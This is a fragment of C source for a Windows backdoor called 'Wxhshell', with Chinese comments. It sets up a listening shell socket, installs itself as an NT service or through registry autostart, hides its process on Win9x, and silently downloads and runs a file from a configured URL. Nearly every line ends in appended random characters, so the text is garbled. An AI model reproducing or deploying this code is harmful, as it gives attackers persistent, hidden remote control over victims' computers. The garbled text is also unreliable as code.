DWORD BasePriority; f hjlt#
ULONG UniqueProcessId; m}(M{^\|
ULONG InheritedFromUniqueProcessId; - -\eYVh[
} PROCESS_BASIC_INFORMATION; -EJj j {
bA1O]:`
PROCNTQSIP NtQueryInformationProcess; . {vMn0c
H]}mg='kI
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7~~suQ{F4
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; %O$=%"D6
\fsNI T/
HANDLE hProcess; X%$1%)C9
PROCESS_BASIC_INFORMATION pbi; >K<cc#Aa
[Z2{S-)UM
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H)h$@14xu
if(NULL == hInst ) return 0; # w@FBFr@
5@J]#bp0M
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n?>|2>
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5,pEJ>dDD3
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); nsM.`s@V
J|F!$m{
if (!NtQueryInformationProcess) return 0; 8!b>[Nsc
9^&B.6! 6
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); IE3GZk+a~
if(!hProcess) return 0; 5IA3\G}+
QnJLTBv
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 9 ^8_^F
bk1.H@8
CloseHandle(hProcess); 1\%@oD_zG
G?, "AA;
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); njaKU?6%d2
if(hProcess==NULL) return 0; oWx^_wQ-=
If]rg+|U
HMODULE hMod; ]4r&Q4d>O
char procName[255];
YCVT0d
unsigned long cbNeeded; @r^s70{}
d+vAm3.Dg
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >oN Wf
a*t @k*d_
CloseHandle(hProcess); -GMaK.4=
,@fx[5{
if(strstr(procName,"services")) return 1; // 以服务启动 j;qV+Rq]t
7PuYrJ
return 0; // 注册表启动 ESk:$`P
} $E!f@L
LqO=wK~
// 主模块 c^cr_i
int StartWxhshell(LPSTR lpCmdLine) `Z#':0Z
{ k'*vG6!
SOCKET wsl; ri-D#F)}
BOOL val=TRUE; I5Ty@J#
int port=0; K-"`A.:S
struct sockaddr_in door; sIbPMu`&U
O)DAYBv^
if(wscfg.ws_autoins) Install(); _;%l~q/
7z$bCO L=S
port=atoi(lpCmdLine); *FC|v0D
:yE0DS<_
if(port<=0) port=wscfg.ws_port; &*E! %57
L7n G5i
WSADATA data; (>Nwd^
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E!.&y4
db=S*LUbl
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; , Y,^vzX6
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); IlwHHt;njp
door.sin_family = AF_INET; BP l% SL
door.sin_addr.s_addr = inet_addr("127.0.0.1"); "LH!Trl@k
door.sin_port = htons(port); jt(GXgm
f`*VNB`
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { WgG$ r
closesocket(wsl); )#1!%aQ
return 1; 2#00<t\
} 4"3.7.<Q`
Sk C.A?
if(listen(wsl,2) == INVALID_SOCKET) { b#"&]s-
closesocket(wsl); S>p0{:zM
return 1; v,8Q9<=O
} uL@%M8n
Wxhshell(wsl); DF>tQ
WSACleanup(); 9ZG:2ncdJ
lFduX D
return 0; @ULWVS#t2
/2hRLyeAZ
} +S+=lu _
FC~%G&K/q^
// 以NT服务方式启动 FV3[7w=D\
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) fYzP4
{ X$@qs9?)^
DWORD status = 0; Ryygq,>VD.
DWORD specificError = 0xfffffff; XPZ8*8JL
k.jBu
serviceStatus.dwServiceType = SERVICE_WIN32; 49<t2^1q
serviceStatus.dwCurrentState = SERVICE_START_PENDING; -rjQ^ze
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; AlG5n'
serviceStatus.dwWin32ExitCode = 0; i~AReJxt7
serviceStatus.dwServiceSpecificExitCode = 0; Gg]Jp:GF
serviceStatus.dwCheckPoint = 0; %rgW}Z5
serviceStatus.dwWaitHint = 0; #,#:{&H
fBh/$
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Hq,@j{($
if (hServiceStatusHandle==0) return; tl*h"du^
Qca3{|r`
status = GetLastError(); wf1p/bpf
if (status!=NO_ERROR) fLd2{jI,
{ &cJ?mSI
serviceStatus.dwCurrentState = SERVICE_STOPPED; 7&OJ8B/
serviceStatus.dwCheckPoint = 0; {IvA 5^
serviceStatus.dwWaitHint = 0; NQ;$V:s)
serviceStatus.dwWin32ExitCode = status; )''V}Zn.X
serviceStatus.dwServiceSpecificExitCode = specificError; EaHJl
SetServiceStatus(hServiceStatusHandle, &serviceStatus); uFb
9Ic]`
return; (;^>G[
} GQJ4d-w
hQ!59
serviceStatus.dwCurrentState = SERVICE_RUNNING; j_~mP>el)
serviceStatus.dwCheckPoint = 0; (fr=N5
serviceStatus.dwWaitHint = 0; ^c>Bh[
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;"ESN)*|i
} ]NI
CQ9
<5
OUk
// 处理NT服务事件,比如:启动、停止 : vx<m_
VOID WINAPI NTServiceHandler(DWORD fdwControl) T9!NuKfur
{ om9'A=ZU
switch(fdwControl) e=s85!
{ &zJ\D`\,O
case SERVICE_CONTROL_STOP: S-ZN}N{,6
serviceStatus.dwWin32ExitCode = 0; 7jQVm{{.
serviceStatus.dwCurrentState = SERVICE_STOPPED; =au!rda
serviceStatus.dwCheckPoint = 0; 6Z' K1
serviceStatus.dwWaitHint = 0; ?G!~&
{ ?8?vBkz~
SetServiceStatus(hServiceStatusHandle, &serviceStatus); c0rU&+:Ry
} rnQ_0d
return; X9SOcg3a
case SERVICE_CONTROL_PAUSE: DpQWh+WRy
serviceStatus.dwCurrentState = SERVICE_PAUSED; O^ui+44wp
break; .T ,HtHe
case SERVICE_CONTROL_CONTINUE: t+q;}ZvG
serviceStatus.dwCurrentState = SERVICE_RUNNING; ;hV|W{=w
break; MEJX5qG6m
case SERVICE_CONTROL_INTERROGATE: %.]#3tW
break; tg==Qgz
}; *5*#Z~dut8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fA?v\'Qq/
} 9E8&~y
#"?pY5 ("
// 标准应用程序主函数 k~K;r8D/
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) S:`Gi>D
{ 0sH~yvM5
s :BW}PM
// 获取操作系统版本 %G,7Ul1f
OsIsNt=GetOsVer(); jpS$5Ct
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]];pWlo!
{:VK}w
// 从命令行安装 JhwHsx/
if(strpbrk(lpCmdLine,"iI")) Install(); eyp_.1C~
ai1;v@1
// 下载执行文件 1%R${Qhr
if(wscfg.ws_downexe) { D.%%D%AdB
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) &!O?h/&X3
WinExec(wscfg.ws_filenam,SW_HIDE); ZWGX*F#}P
} (VI(Nv:o@
k\;D;e{
if(!OsIsNt) { wbcip8<t
// 如果时win9x,隐藏进程并且设置为注册表启动 n'{jc6&|
HideProc(); x=L"qC9f/
StartWxhshell(lpCmdLine); /wJ4hHY
} '0)`.
else 3)LS#=
if(StartFromService()) a9.255
// 以服务方式启动 XOQ0(e6
StartServiceCtrlDispatcher(DispatchTable); f(eXny@Y
else rP2h9Cb
// 普通方式启动 X[H .t$w5A
StartWxhshell(lpCmdLine); 7-n HPDp'
V9}\0joM
return 0; eq8faC5
}